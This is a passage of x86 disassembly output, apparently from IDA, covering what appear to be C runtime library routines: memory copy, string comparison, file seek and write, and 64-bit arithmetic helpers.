loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC95C
		call	sub_422608
		mov	edx, dword_4DC95C
		pop	ecx
		mov	ecx, dword_4DC958
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC95C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC958
		sub	ecx, dword_4DC95C
		mov	dword_4DC95C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC958, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC958, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC95C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC95C
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC95C
		mov	dword_4DC958, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 277068Eh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2870000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB312
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB310
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB30E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB30A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB308
		jnz	short loc_41D0E6
		mov	eax, dword_4DB300
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2860000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB308
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB300, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB35C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB2A8, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26803F7h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2670E77h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB2A8, 0Dh
		mov	dword_4DB2AC, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


